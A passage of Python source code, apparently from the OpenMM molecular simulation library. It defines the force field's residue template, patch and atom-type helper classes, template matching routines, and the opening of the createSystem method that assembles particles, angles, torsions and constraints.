= ''\n            else:\n                suffix = str(i+1)\n            classAttrib = 'class'+suffix\n            typeAttrib = 'type'+suffix\n            if classAttrib in attrib:\n                if typeAttrib in attrib:\n                    raise ValueError('Specified both a type and a class for the same atom: '+str(attrib))\n                if attrib[classAttrib] not in self._atomClasses:\n                    types.append(None) # Unknown atom class\n                else:\n                    types.append(self._atomClasses[attrib[classAttrib]])\n            elif typeAttrib in attrib:\n                if attrib[typeAttrib] == '':\n                    types.append(self._atomClasses[''])\n                elif attrib[typeAttrib] not in self._atomTypes:\n                    types.append(None) # Unknown atom type\n                else:\n                    types.append([attrib[typeAttrib]])\n            else:\n                types.append(None) # Unknown atom type\n        return types\n\n    def _parseTorsion(self, attrib):\n        \"\"\"Parse the node defining a torsion.\"\"\"\n        types = self._findAtomTypes(attrib, 4)\n        if None in types:\n            return None\n        torsion = PeriodicTorsion(types)\n        index = 1\n        while 'phase%d'%index in attrib:\n            torsion.periodicity.append(int(attrib['periodicity%d'%index]))\n            torsion.phase.append(_convertParameterToNumber(attrib['phase%d'%index]))\n            torsion.k.append(_convertParameterToNumber(attrib['k%d'%index]))\n            index += 1\n        return torsion\n\n    class _SystemData(object):\n        \"\"\"Inner class used to encapsulate data about the system being created.\"\"\"\n        def __init__(self, topology):\n            self.atomType = {}\n            self.atomParameters = {}\n            self.atomTemplateIndexes = {}\n            self.atoms = list(topology.atoms())\n            self.excludeAtomWith = [[] for _ in self.atoms]\n            self.virtualSites = {}\n            self.bonds = [ForceField._BondData(bond[0].index, bond[1].index) for bond in topology.bonds()]\n            self.angles = []\n            self.propers = []\n            self.impropers = []\n            self.atomBonds = [[] for _ in self.atoms]\n            self.isAngleConstrained = []\n            self.constraints = {}\n            self.bondedToAtom = [set() for _ in self.atoms]\n\n            # Record which atoms are bonded to each other atom\n\n            for i in range(len(self.bonds)):\n                bond = self.bonds[i]\n                self.bondedToAtom[bond.atom1].add(bond.atom2)\n                self.bondedToAtom[bond.atom2].add(bond.atom1)\n                self.atomBonds[bond.atom1].append(i)\n                self.atomBonds[bond.atom2].append(i)\n            self.bondedToAtom = [sorted(b) for b in self.bondedToAtom]\n\n        def addConstraint(self, system, atom1, atom2, distance):\n            \"\"\"Add a constraint to the system, avoiding duplicate constraints.\"\"\"\n            key = (min(atom1, atom2), max(atom1, atom2))\n            if key in self.constraints:\n                if self.constraints[key] != distance:\n                    raise ValueError('Two constraints were specified between atoms %d and %d with different distances' % (atom1, atom2))\n            else:\n                self.constraints[key] = distance\n                system.addConstraint(atom1, atom2, distance)\n\n        def recordMatchedAtomParameters(self, residue, template, matches):\n            \"\"\"Record parameters for atoms based on having matched a residue to a template.\"\"\"\n            matchAtoms = dict(zip(matches, residue.atoms()))\n            for atom, match in zip(residue.atoms(), matches):\n                self.atomType[atom] = template.atoms[match].type\n                self.atomParameters[atom] = template.atoms[match].parameters\n                self.atomTemplateIndexes[atom] = match\n                for site in template.virtualSites:\n                    if match == site.index:\n                        self.virtualSites[atom] = (site, [matchAtoms[i].index for i in site.atoms], matchAtoms[site.excludeWith].index)\n\n    class _TemplateData(object):\n        \"\"\"Inner class used to encapsulate data about a residue template definition.\"\"\"\n        def __init__(self, name):\n            self.name = name\n            self.atoms = []\n            self.atomIndices = {}\n            self.virtualSites = []\n            self.bonds = []\n            self.externalBonds = []\n            self.overrideLevel = 0\n            self.rigidWater = True\n            self.attributes = {}\n\n        def getAtomIndexByName(self, atom_name):\n            \"\"\"Look up an atom index by atom name, providing a helpful error message if not found.\"\"\"\n            index = self.atomIndices.get(atom_name, None)\n            if index is not None:\n                return index\n\n            # Provide a helpful error message if atom name not found.\n            msg =  \"Atom name '%s' not found in residue template '%s'.\\n\" % (atom_name, self.name)\n            msg += \"Possible atom names are: %s\" % str(list(map(lambda x: x.name, self.atoms)))\n            raise ValueError(msg)\n\n        def addAtom(self, atom):\n            self.atoms.append(atom)\n            self.atomIndices[atom.name] = len(self.atoms)-1\n\n        def addBond(self, atom1, atom2):\n            \"\"\"Add a bond between two atoms in a template given their indices in the template.\"\"\"\n            self.bonds.append((atom1, atom2))\n            self.atoms[atom1].bondedTo.append(atom2)\n            self.atoms[atom2].bondedTo.append(atom1)\n\n        def addBondByName(self, atom1_name, atom2_name):\n            \"\"\"Add a bond between two atoms in a template given their atom names.\"\"\"\n            atom1 = self.getAtomIndexByName(atom1_name)\n            atom2 = self.getAtomIndexByName(atom2_name)\n            self.addBond(atom1, atom2)\n\n        def addExternalBond(self, atom_index):\n            \"\"\"Designate that an atom in a residue template has an external bond, using atom index within template.\"\"\"\n            self.externalBonds.append(atom_index)\n            self.atoms[atom_index].externalBonds += 1\n\n        def addExternalBondByName(self, atom_name):\n            \"\"\"Designate that an atom in a residue template has an external bond, using atom name within template.\"\"\"\n            atom = self.getAtomIndexByName(atom_name)\n            self.addExternalBond(atom)\n\n        def areParametersIdentical(self, template2, matchingAtoms, matchingAtoms2):\n            \"\"\"Get whether this template and another one both assign identical atom types and parameters to all atoms.\n\n            Parameters\n            ----------\n            template2: _TemplateData\n                the template to compare this one to\n            matchingAtoms: list\n                the indices of atoms in this template that atoms of the residue are matched to\n            matchingAtoms2: list\n                the indices of atoms in template2 that atoms of the residue are matched to\n            \"\"\"\n            atoms1 = [self.atoms[m] for m in matchingAtoms]\n            atoms2 = [template2.atoms[m] for m in matchingAtoms2]\n            if any(a1.type != a2.type or a1.parameters != a2.parameters for a1,a2 in zip(atoms1, atoms2)):\n                return False\n            # Properly comparing virtual sites really needs a much more complicated analysis.  This simple check\n            # could easily fail for templates containing vsites, even if they're actually identical.  Since we\n            # currently have no force fields that include both patches and vsites, I'm not going to worry about it now.\n            if self.virtualSites != template2.virtualSites:\n                return False\n            return True\n\n    class _TemplateAtomData(object):\n        \"\"\"Inner class used to encapsulate data about an atom in a residue template definition.\"\"\"\n        def __init__(self, name, type, element, parameters={}):\n            self.name = name\n            self.type = type\n            self.element = element\n            self.parameters = parameters\n            self.bondedTo = []\n            self.externalBonds = 0\n\n    class _BondData(object):\n        \"\"\"Inner class used to encapsulate data about a bond.\"\"\"\n        def __init__(self, atom1, atom2):\n            self.atom1 = atom1\n            self.atom2 = atom2\n            self.isConstrained = False\n            self.length = 0.0\n\n    class _VirtualSiteData(object):\n        \"\"\"Inner class used to encapsulate data about a virtual site.\"\"\"\n        def __init__(self, node, atomIndices):\n            attrib = node.attrib\n            self.type = attrib['type']\n            if self.type == 'average2':\n                numAtoms = 2\n                self.weights = [float(attrib['weight1']), float(attrib['weight2'])]\n            elif self.type == 'average3':\n                numAtoms = 3\n                self.weights = [float(attrib['weight1']), float(attrib['weight2']), float(attrib['weight3'])]\n            elif self.type == 'outOfPlane':\n                numAtoms = 3\n                self.weights = [float(attrib['weight12']), float(attrib['weight13']), float(attrib['weightCross'])]\n            elif self.type == 'localCoords':\n                numAtoms = 0\n                self.originWeights = []\n                self.xWeights = []\n                self.yWeights = []\n                while ('wo%d' % (numAtoms+1)) in attrib:\n                    numAtoms += 1\n                    self.originWeights.append(float(attrib['wo%d' % numAtoms]))\n                    self.xWeights.append(float(attrib['wx%d' % numAtoms]))\n                    self.yWeights.append(float(attrib['wy%d' % numAtoms]))\n                self.localPos = [float(attrib['p1']), float(attrib['p2']), float(attrib['p3'])]\n            else:\n                raise ValueError('Unknown virtual site type: %s' % self.type)\n            if 'siteName' in attrib:\n                self.index = atomIndices[attrib['siteName']]\n                self.atoms = [atomIndices[attrib['atomName%d'%(i+1)]] for i in range(numAtoms)]\n            else:\n                self.index = int(attrib['index'])\n                self.atoms = [int(attrib['atom%d'%(i+1)]) for i in range(numAtoms)]\n            if 'excludeWith' in attrib:\n                self.excludeWith = int(attrib['excludeWith'])\n            else:\n                self.excludeWith = self.atoms[0]\n\n        def __eq__(self, other):\n            if not isinstance(other, ForceField._VirtualSiteData):\n                return False\n            if self.type != other.type or self.index != other.index or self.atoms != other.atoms or self.excludeWith != other.excludeWith:\n                return False\n            if self.type in ('average2', 'average3', 'outOfPlane'):\n                return self.weights == other.weights\n            elif self.type == 'localCoords':\n                return self.originWeights == other.originWeights and self.xWeights == other.xWeights and self.yWeights == other.yWeights and self.localPos == other.localPos\n            return False\n\n    class _PatchData(object):\n        \"\"\"Inner class used to encapsulate data about a patch definition.\"\"\"\n        def __init__(self, name, numResidues):\n            self.name = name\n            self.numResidues = numResidues\n            self.addedAtoms = [[] for i in range(numResidues)]\n            self.changedAtoms = [[] for i in range(numResidues)]\n            self.deletedAtoms = []\n            self.addedBonds = []\n            self.deletedBonds = []\n            self.addedExternalBonds = []\n            self.deletedExternalBonds = []\n            self.allAtomNames = set()\n            self.virtualSites = [[] for i in range(numResidues)]\n            self.attributes = {}\n            self.index = None\n\n        def __lt__(self, other):\n            return self.index < other.index\n\n        def createPatchedTemplates(self, templates):\n            \"\"\"Apply this patch to a set of templates, creating new modified ones.\"\"\"\n            if len(templates) != self.numResidues:\n                raise ValueError(\"Patch '%s' expected %d templates, received %d\", (self.name, self.numResidues, len(templates)))\n\n            # Construct a new version of each template.\n\n            newTemplates = []\n            for index, template in enumerate(templates):\n                newTemplate = ForceField._TemplateData(\"%s-%s\" % (template.name, self.name))\n                newTemplates.append(newTemplate)\n\n                # Build the list of atoms in it.\n\n                for atom in template.atoms:\n                    if not any(deleted.name == atom.name and deleted.residue == index for deleted in self.deletedAtoms):\n                        newTemplate.addAtom(ForceField._TemplateAtomData(atom.name, atom.type, atom.element, atom.parameters))\n                for atom in self.addedAtoms[index]:\n                    if any(a.name == atom.name for a in newTemplate.atoms):\n                        raise ValueError(\"Patch '%s' adds an atom with the same name as an existing atom: %s\" % (self.name, atom.name))\n                    newTemplate.addAtom(ForceField._TemplateAtomData(atom.name, atom.type, atom.element, atom.parameters))\n                oldAtomIndex = dict([(atom.name, i) for i, atom in enumerate(template.atoms)])\n                newAtomIndex = dict([(atom.name, i) for i, atom in enumerate(newTemplate.atoms)])\n                for atom in self.changedAtoms[index]:\n                    if atom.name not in newAtomIndex:\n                        raise ValueError(\"Patch '%s' modifies nonexistent atom '%s' in template '%s'\" % (self.name, atom.name, template.name))\n                    newTemplate.atoms[newAtomIndex[atom.name]] = ForceField._TemplateAtomData(atom.name, atom.type, atom.element, atom.parameters)\n\n                # Copy over the virtual sites, translating the atom indices.\n\n                indexMap = dict([(oldAtomIndex[name], newAtomIndex[name]) for name in newAtomIndex if name in oldAtomIndex])\n                for site in template.virtualSites:\n                    if site.index in indexMap and all(i in indexMap for i in site.atoms):\n                        newSite = deepcopy(site)\n                        newSite.index = indexMap[site.index]\n                        newSite.atoms = [indexMap[i] for i in site.atoms]\n                        newTemplate.virtualSites.append(newSite)\n\n                # Build the lists of bonds and external bonds.\n\n                atomMap = dict([(template.atoms[i], indexMap[i]) for i in indexMap])\n                deletedBonds = [(atom1.name, atom2.name) for atom1, atom2 in self.deletedBonds if atom1.residue == index and atom2.residue == index]\n                for atom1, atom2 in template.bonds:\n                    a1 = template.atoms[atom1]\n                    a2 = template.atoms[atom2]\n                    if a1 in atomMap and a2 in atomMap and (a1.name, a2.name) not in deletedBonds and (a2.name, a1.name) not in deletedBonds:\n                        newTemplate.addBond(atomMap[a1], atomMap[a2])\n                deletedExternalBonds = [atom.name for atom in self.deletedExternalBonds if atom.residue == index]\n                for atom in template.externalBonds:\n                    if template.atoms[atom].name not in deletedExternalBonds:\n                        newTemplate.addExternalBond(indexMap[atom])\n                for atom1, atom2 in self.addedBonds:\n                    if atom1.residue == index and atom2.residue == index:\n                        newTemplate.addBondByName(atom1.name, atom2.name)\n                    elif atom1.residue == index:\n                        newTemplate.addExternalBondByName(atom1.name)\n                    elif atom2.residue == index:\n                        newTemplate.addExternalBondByName(atom2.name)\n                for atom in self.addedExternalBonds:\n                    newTemplate.addExternalBondByName(atom.name)\n\n                # Add new virtual sites.\n\n                indexMap = dict((i, newAtomIndex[atom.name]) for i, atom in enumerate(self.addedAtoms[index]+self.changedAtoms[index]))\n                for site in self.virtualSites[index]:\n                    newSite = deepcopy(site)\n                    newSite.index = indexMap[site.index]\n                    newSite.atoms = [indexMap[i] for i in site.atoms]\n                    newSite.excludeWith = indexMap[site.excludeWith]\n                    newTemplate.virtualSites = [site for site in newTemplate.virtualSites if site.index != newSite.index]\n                    newTemplate.virtualSites.append(newSite)\n            return newTemplates\n\n    class _PatchAtomData(object):\n        \"\"\"Inner class used to encapsulate data about an atom in a patch definition.\"\"\"\n        def __init__(self, description):\n            if ':' in description:\n                colonIndex = description.find(':')\n                self.residue = int(description[:colonIndex])-1\n                self.name = description[colonIndex+1:]\n            else:\n                self.residue = 0\n                self.name = description\n\n    class _AtomType(object):\n        \"\"\"Inner class used to record atom types and associated properties.\"\"\"\n        def __init__(self, name, atomClass, mass, element):\n            self.name = name\n            self.atomClass = atomClass\n            self.mass = mass\n            self.element = element\n\n    class _AtomTypeParameters(object):\n        \"\"\"Inner class used to record parameter values for atom types.\"\"\"\n        def __init__(self, forcefield, forceName, atomTag, paramNames):\n            self.ff = forcefield\n            self.forceName = forceName\n            self.atomTag = atomTag\n            self.paramNames = paramNames\n            self.paramsForType = {}\n            self.extraParamsForType = {}\n\n        def registerAtom(self, parameters, expectedParams=None):\n            if expectedParams is None:\n                expectedParams = self.paramNames\n            types = self.ff._findAtomTypes(parameters, 1)\n            if None not in types:\n                values = {}\n                extraValues = {}\n                for key in parameters:\n                    if key in expectedParams:\n                        values[key] = _convertParameterToNumber(parameters[key])\n                    else:\n                        extraValues[key] = parameters[key]\n                if len(values) < len(expectedParams):\n                    for key in expectedParams:\n                        if key not in values:\n                            raise ValueError('%s: No value specified for \"%s\"' % (self.forceName, key))\n                for t in types[0]:\n                    self.paramsForType[t] = values\n                    self.extraParamsForType[t] = extraValues\n\n        def parseDefinitions(self, element):\n            \"\"\"\"Load the definitions from an XML element.\"\"\"\n            expectedParams = list(self.paramNames)\n            excludedParams = [node.attrib['name'] for node in element.findall('UseAttributeFromResidue')]\n            for param in excludedParams:\n                if param not in expectedParams:\n                    raise ValueError('%s: <UseAttributeFromResidue> specified an invalid attribute: %s' % (self.forceName, param))\n                expectedParams.remove(param)\n            for atom in element.findall(self.atomTag):\n                for param in excludedParams:\n                    if param in atom.attrib:\n                        raise ValueError('%s: The attribute \"%s\" appeared in both <%s> and <UseAttributeFromResidue> tags' % (self.forceName, param, self.atomTag))\n                self.registerAtom(atom.attrib, expectedParams)\n\n        def getAtomParameters(self, atom, data):\n            \"\"\"Get the parameter values for a particular atom.\"\"\"\n            t = data.atomType[atom]\n            p = data.atomParameters[atom]\n            if t in self.paramsForType:\n                values = self.paramsForType[t]\n                result = [None]*len(self.paramNames)\n                for i, name in enumerate(self.paramNames):\n                    if name in values:\n                        result[i] = values[name]\n                    elif name in p:\n                        result[i] = p[name]\n                    else:\n                        raise ValueError('%s: No value specified for \"%s\"' % (self.forceName, name))\n                return result\n            else:\n                raise ValueError('%s: No parameters defined for atom type %s' % (self.forceName, t))\n\n        def getExtraParameters(self, atom, data):\n            \"\"\"Get extra parameter values for an atom that appeared in the <Atom> tag but were not included in paramNames.\"\"\"\n            t = data.atomType[atom]\n            if t in self.paramsForType:\n                return self.extraParamsForType[t]\n            else:\n                raise ValueError('%s: No parameters defined for atom type %s' % (self.forceName, t))\n\n\n    def _getResidueTemplateMatches(self, res, bondedToAtom, templateSignatures=None, ignoreExternalBonds=False, ignoreExtraParticles=False):\n        \"\"\"Return the templates that match a residue, or None if none are found.\n\n        Parameters\n        ----------\n        res : Topology.Residue\n            The residue for which template matches are to be retrieved.\n        bondedToAtom : list of set of int\n            bondedToAtom[i] is the set of atoms bonded to atom index i\n\n        Returns\n        -------\n        template : _TemplateData\n            The matching forcefield residue template, or None if no matches are found.\n        matches : list\n            a list specifying which atom of the template each atom of the residue\n            corresponds to, or None if it does not match the template\n\n        \"\"\"\n        template = None\n        matches = None\n        for matcher in self._templateMatchers:\n            template = matcher(self, res, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n            if template is not None:\n                match = compiled.matchResidueToTemplate(res, template, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n                if match is None:\n                    raise ValueError('A custom template matcher returned a template for residue %d (%s), but it does not match the residue.' % (res.index, res.name))\n                return [template, match]\n        if templateSignatures is None:\n            templateSignatures = self._templateSignatures\n        signature = _createResidueSignature([atom.element for atom in res.atoms()])\n        if signature in templateSignatures:\n            allMatches = []\n            for t in templateSignatures[signature]:\n                match = compiled.matchResidueToTemplate(res, t, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n                if match is not None:\n                    allMatches.append((t, match))\n            if len(allMatches) == 1:\n                template = allMatches[0][0]\n                matches = allMatches[0][1]\n            elif len(allMatches) > 1:\n                # We found multiple matches.  This is OK if and only if they assign identical types and parameters to all atoms.\n                t1, m1 = allMatches[0]\n                for t2, m2 in allMatches[1:]:\n                    if not t1.areParametersIdentical(t2, m1, m2):\n                        raise Exception('Multiple non-identical matching templates found for residue %d (%s): %s.' % (res.index+1, res.name, ', '.join(match[0].name for match in allMatches)))\n                template = allMatches[0][0]\n                matches = allMatches[0][1]\n        return [template, matches]\n\n    def _buildBondedToAtomList(self, topology):\n        \"\"\"Build a list of which atom indices are bonded to each atom.\n\n        Parameters\n        ----------\n        topology : Topology\n            The Topology whose bonds are to be indexed.\n\n        Returns\n        -------\n        bondedToAtom : list of list of int\n            bondedToAtom[index] is the list of atom indices bonded to atom `index`\n\n        \"\"\"\n        bondedToAtom = [set() for _ in topology.atoms()]\n        for (atom1, atom2) in topology.bonds():\n            bondedToAtom[atom1.index].add(atom2.index)\n            bondedToAtom[atom2.index].add(atom1.index)\n        bondedToAtom = [sorted(b) for b in bondedToAtom]\n        return bondedToAtom\n\n    def getUnmatchedResidues(self, topology, residueTemplates=dict()):\n        \"\"\"Return a list of Residue objects from specified topology for which no forcefield templates are available.\n\n        .. CAUTION:: This method is experimental, and its API is subject to change.\n\n        Parameters\n        ----------\n        topology : Topology\n            The Topology whose residues are to be checked against the forcefield residue templates.\n        residueTemplates : dict=dict()\n            Specifies which template to use for particular residues.  The keys should be Residue\n            objects from the Topology, and the values should be the names of the templates to\n            use for them.  This is useful when a ForceField contains multiple templates that\n            can match the same residue (e.g Fe2+ and Fe3+ templates in the ForceField for a\n            monoatomic iron ion in the Topology).\n\n        Returns\n        -------\n        unmatched_residues : list of Residue\n            List of Residue objects from `topology` for which no forcefield residue templates are available.\n            Note that multiple instances of the same residue appearing at different points in the topology may be returned.\n\n        This method may be of use in generating missing residue templates or diagnosing parameterization failures.\n        \"\"\"\n        # Find the template matching each residue, compiling a list of residues for which no templates are available.\n        bondedToAtom = self._buildBondedToAtomList(topology)\n        unmatched_residues = list() # list of unmatched residues\n        for res in topology.residues():\n            if res in residueTemplates:\n                # Make sure the specified template matches.\n                template = self._templates[residueTemplates[res]]\n                matches = compiled.matchResidueToTemplate(res, template, bondedToAtom, False, False)\n            else:\n                # Attempt to match one of the existing templates.\n                [template, matches] = self._getResidueTemplateMatches(res, bondedToAtom)\n            if matches is None:\n                # No existing templates match.\n                unmatched_residues.append(res)\n\n        return unmatched_residues\n\n    def getMatchingTemplates(self, topology, ignoreExternalBonds=False):\n        \"\"\"Return a list of forcefield residue templates matching residues in the specified topology.\n\n        .. CAUTION:: This method is experimental, and its API is subject to change.\n\n        Parameters\n        ----------\n        topology : Topology\n            The Topology whose residues are to be checked against the forcefield residue templates.\n        ignoreExternalBonds : bool=False\n            If true, ignore external bonds when matching residues to templates.\n        Returns\n        -------\n        templates : list of _TemplateData\n            List of forcefield residue templates corresponding to residues in the topology.\n            templates[index] is template corresponding to residue `index` in topology.residues()\n\n        This method may be of use in debugging issues related to parameter assignment.\n        \"\"\"\n        # Find the template matching each residue, compiling a list of residues for which no templates are available.\n        bondedToAtom = self._buildBondedToAtomList(topology)\n        templates = list() # list of templates matching the corresponding residues\n        for residue in topology.residues():\n            # Attempt to match one of the existing templates.\n            [template, matches] = self._getResidueTemplateMatches(residue, bondedToAtom, ignoreExternalBonds=ignoreExternalBonds)\n            # Raise an exception if we have found no templates that match.\n            if matches is None:\n                raise ValueError('No template found for chainid <%s> resid <%s> resname <%s> (residue index within topology %d).\\n%s' % (residue.chain.id, residue.id, residue.name, residue.index, _findMatchErrors(self, residue)))\n            else:\n                templates.append(template)\n\n        return templates\n\n    def generateTemplatesForUnmatchedResidues(self, topology):\n        \"\"\"Generate forcefield residue templates for residues in specified topology for which no forcefield templates are available.\n\n        .. CAUTION:: This method is experimental, and its API is subject to change.\n\n        Parameters\n        ----------\n        topology : Topology\n            The Topology whose residues are to be checked against the forcefield residue templates.\n\n        Returns\n        -------\n        templates : list of _TemplateData\n            List of forcefield residue templates corresponding to residues in `topology` for which no forcefield templates are currently available.\n            Atom types will be set to `None`, but template name, atom names, elements, and connectivity will be taken from corresponding Residue objects.\n        residues : list of Residue\n            List of Residue objects that were used to generate the templates.\n            `residues[index]` is the Residue that was used to generate the template `templates[index]`\n\n        \"\"\"\n        # Get a non-unique list of unmatched residues.\n        unmatched_residues = self.getUnmatchedResidues(topology)\n        # Generate a unique list of unmatched residues by comparing fingerprints.\n        bondedToAtom = self._buildBondedToAtomList(topology)\n        unique_unmatched_residues = list() # list of unique unmatched Residue objects from topology\n        templates = list() # corresponding _TemplateData templates\n        signatures = set()\n        for residue in unmatched_residues:\n            signature = _createResidueSignature([ atom.element for atom in residue.atoms() ])\n            template = _createResidueTemplate(residue)\n            is_unique = True\n            if signature in signatures:\n                # Signature is the same as an existing residue; check connectivity.\n                for check_residue in unique_unmatched_residues:\n                    matches = compiled.matchResidueToTemplate(check_residue, template, bondedToAtom, False)\n                    if matches is not None:\n                        is_unique = False\n            if is_unique:\n                # Residue is unique.\n                unique_unmatched_residues.append(residue)\n                signatures.add(signature)\n                templates.append(template)\n\n        return [templates, unique_unmatched_residues]\n\n    def createSystem(self, topology, nonbondedMethod=NoCutoff, nonbondedCutoff=1.0*unit.nanometer,\n                     constraints=None, rigidWater=None, removeCMMotion=True, hydrogenMass=None, residueTemplates=dict(),\n                     ignoreExternalBonds=False, switchDistance=None, flexibleConstraints=False, drudeMass=0.4*unit.amu, **args):\n        \"\"\"Construct an OpenMM System representing a Topology with this force field.\n\n        Parameters\n        ----------\n        topology : Topology\n            The Topology for which to create a System\n        nonbondedMethod : object=NoCutoff\n            The method to use for nonbonded interactions.  Allowed values are\n            NoCutoff, CutoffNonPeriodic, CutoffPeriodic, Ewald, PME, or LJPME.\n        nonbondedCutoff : distance=1*nanometer\n            The cutoff distance to use for nonbonded interactions\n        constraints : object=None\n            Specifies which bonds and angles should be implemented with constraints.\n            Allowed values are None, HBonds, AllBonds, or HAngles.\n        rigidWater : boolean=None\n            If true, water molecules will be fully rigid regardless of the value\n            passed for the constraints argument.  If None (the default), it uses the\n            default behavior for this force field's water model.\n        removeCMMotion : boolean=True\n            If true, a CMMotionRemover will be added to the System\n        hydrogenMass : mass=None\n            The mass to use for hydrogen atoms bound to heavy atoms.  Any mass\n            added to a hydrogen is subtracted from the heavy atom to keep\n            their total mass the same.  If rigidWater is used to make water molecules\n            rigid, then water hydrogens are not altered.\n        residueTemplates : dict=dict()\n            Specifies which template to use for particular residues.  The keys should be Residue\n            objects from the Topology, and the values should be the names of the templates to\n            use for them.  This is useful when a ForceField contains multiple templates that\n            can match the same residue (e.g Fe2+ and Fe3+ templates in the ForceField for a\n            monoatomic iron ion in the Topology).\n        ignoreExternalBonds : boolean=False\n            If true, ignore external bonds when matching residues to templates.  This is\n            useful when the Topology represents one piece of a larger molecule, so chains are\n            not terminated properly.  This option can create ambiguities where multiple\n            templates match the same residue.  If that happens, use the residueTemplates\n            argument to specify which one to use.\n        switchDistance : float=None\n            The distance at which the potential energy switching function is turned on for\n            Lennard-Jones interactions. If this is None, no switching function will be used.\n        flexibleConstraints : boolean=False\n            If True, parameters for constrained degrees of freedom will be added to the System\n        drudeMass : mass=0.4*amu\n            The mass to use for Drude particles.  Any mass added to a Drude particle is\n            subtracted from its parent atom to keep their total mass the same.\n        args\n            Arbitrary additional keyword arguments may also be specified.\n            This allows extra parameters to be specified that are specific to\n            particular force fields.\n\n        Returns\n        -------\n        system\n            the newly created System\n        \"\"\"\n        args['switchDistance'] = switchDistance\n        args['flexibleConstraints'] = flexibleConstraints\n        args['drudeMass'] = drudeMass\n        args = ArgTracker(args)\n        data = ForceField._SystemData(topology)\n        rigidResidue = [False]*topology.getNumResidues()\n\n        # Find the template matching each residue and assign atom types.\n\n        templateForResidue = self._matchAllResiduesToTemplates(data, topology, residueTemplates, ignoreExternalBonds)\n        for res in topology.residues():\n            if res.name == 'HOH':\n                # Determine whether this should be a rigid water.\n\n                if rigidWater is None:\n                    rigidResidue[res.index] = templateForResidue[res.index].rigidWater\n                elif rigidWater:\n                    rigidResidue[res.index] = True\n\n        # Create the System and add atoms\n\n        sys = mm.System()\n        for atom in topology.atoms():\n            # Look up the atom type name, returning a helpful error message if it cannot be found.\n            if atom not in data.atomType:\n                raise Exception(\"Could not identify atom type for atom '%s'.\" % str(atom))\n            typename = data.atomType[atom]\n\n            # Look up the type name in the list of registered atom types, returning a helpful error message if it cannot be found.\n            if typename not in self._atomTypes:\n                msg  = \"Could not find typename '%s' for atom '%s' in list of known atom types.\\n\" % (typename, str(atom))\n                msg += \"Known atom types are: %s\" % str(self._atomTypes.keys())\n                raise Exception(msg)\n\n            # Add the particle to the OpenMM system.\n            mass = self._atomTypes[typename].mass\n            sys.addParticle(mass)\n\n        # Adjust hydrogen masses if requested.\n\n        if hydrogenMass is not None:\n            if not unit.is_quantity(hydrogenMass):\n                hydrogenMass *= unit.dalton\n            for atom1, atom2 in topology.bonds():\n                if atom1.element is elem.hydrogen:\n                    (atom1, atom2) = (atom2, atom1)\n                if atom2.element is elem.hydrogen and atom1.element not in (elem.hydrogen, None) and not rigidResidue[atom2.residue.index]:\n                    transferMass = hydrogenMass-sys.getParticleMass(atom2.index)\n                    sys.setParticleMass(atom2.index, hydrogenMass)\n                    sys.setParticleMass(atom1.index, sys.getParticleMass(atom1.index)-transferMass)\n\n        # Set periodic boundary conditions.\n\n        boxVectors = topology.getPeriodicBoxVectors()\n        if boxVectors is not None:\n            sys.setDefaultPeriodicBoxVectors(boxVectors[0], boxVectors[1], boxVectors[2])\n        elif nonbondedMethod not in [NoCutoff, CutoffNonPeriodic]:\n            raise ValueError('Requested periodic boundary conditions for a Topology that does not specify periodic box dimensions')\n\n        # Make a list of all unique angles\n\n        uniqueAngles = set()\n        for bond in data.bonds:\n            for atom in data.bondedToAtom[bond.atom1]:\n                if atom != bond.atom2:\n                    if atom < bond.atom2:\n                        uniqueAngles.add((atom, bond.atom1, bond.atom2))\n                    else:\n                        uniqueAngles.add((bond.atom2, bond.atom1, atom))\n            for atom in data.bondedToAtom[bond.atom2]:\n                if atom != bond.atom1:\n                    if atom > bond.atom1:\n                        uniqueAngles.add((bond.atom1, bond.atom2, atom))\n                    else:\n                        uniqueAngles.add((atom, bond.atom2, bond.atom1))\n        data.angles = sorted(list(uniqueAngles))\n\n        # Make a list of all unique proper torsions\n\n        uniquePropers = set()\n        for angle in data.angles:\n            for atom in data.bondedToAtom[angle[0]]:\n                if atom not in angle:\n                    if atom < angle[2]:\n                        uniquePropers.add((atom, angle[0], angle[1], angle[2]))\n                    else:\n                        uniquePropers.add((angle[2], angle[1], angle[0], atom))\n            for atom in data.bondedToAtom[angle[2]]:\n                if atom not in angle:\n                    if atom > angle[0]:\n                        uniquePropers.add((angle[0], angle[1], angle[2], atom))\n                    else:\n                        uniquePropers.add((atom, angle[2], angle[1], angle[0]))\n        data.propers = sorted(list(uniquePropers))\n\n        # Make a list of all unique improper torsions\n\n        for atom in range(len(data.bondedToAtom)):\n            bondedTo = data.bondedToAtom[atom]\n            if len(bondedTo) > 2:\n                for subset in itertools.combinations(bondedTo, 3):\n                    data.impropers.append((atom, subset[0], subset[1], subset[2]))\n\n        # Identify bonds that should be implemented with constraints\n\n        if constraints == AllBonds or constraints == HAngles:\n            for bond in data.bonds:\n                bond.isConstrained = True\n        elif constraints == HBonds:\n            for bond in data.bonds:\n                atom1 = data.atoms[bond.atom1]\n                atom2 = data.atoms[bond.atom2]\n                bond.isConstrained = atom1.element is elem.hydrogen or atom2.element is elem.hydrogen\n        for bond in data.bonds:\n            atom1 = data.atoms[bond.atom1]\n            atom2 = data.atoms[bond.atom2]\n            if rigidResidue[atom1.residue.index] and rigidResidue[atom2.residue.index]:\n                bond.isConstrained = True\n\n        # Identify angles that should be implemented with constraints\n\n        if constraints == HAngles:\n            for angle in data.angles:\n                atom1 = data.atoms[angle[0]]\n                atom2 = data.atoms[angle[1]]\n                atom3 = data.atoms[angle[2]]\n                numH = 0\n                if atom1.element is elem.hydrogen:\n                    numH += 1\n                if atom3.element is elem.hydrogen:\n                    numH += 1\n                data.isAngleConstrained.append(numH == 2 or (numH == 1 and atom2.element is elem.oxygen))\n        else:\n            data.isAngleConstrained = len(data.angles)*[False]\n        for i in range(len(data.angles)):\n            angle = data.angles[i]\n            atom1 = data.atoms[angle[0]]\n            atom2 = data.atoms[angle[1]]\n            atom3 = data.atoms[angle[2]]\n            if rigidResidue[atom1.residue.index] and rigidResidue[atom2.residue.index] and rigidResidue[atom3.residue.index]:\n                data.isAngleConstrained[i] = True\n\n        # Add virtual sites\n\n        for atom in data.virtualSites:\n            (site, atoms, excludeWith) = data.virtualSites[atom]\n            index = atom.index\n            data.excludeAtomWith[excludeWith].append(index)\n            if site.type == 'average2':\n                sys.setVirtualSite(index, mm.TwoParticleAverageSite(atoms[0], atoms[1], site.weights[0], site.weights[1]))\n            elif site.type == 'average3':\n                sys.setVirtualSite(index, mm.ThreeParticleAverageSite(atoms[0], 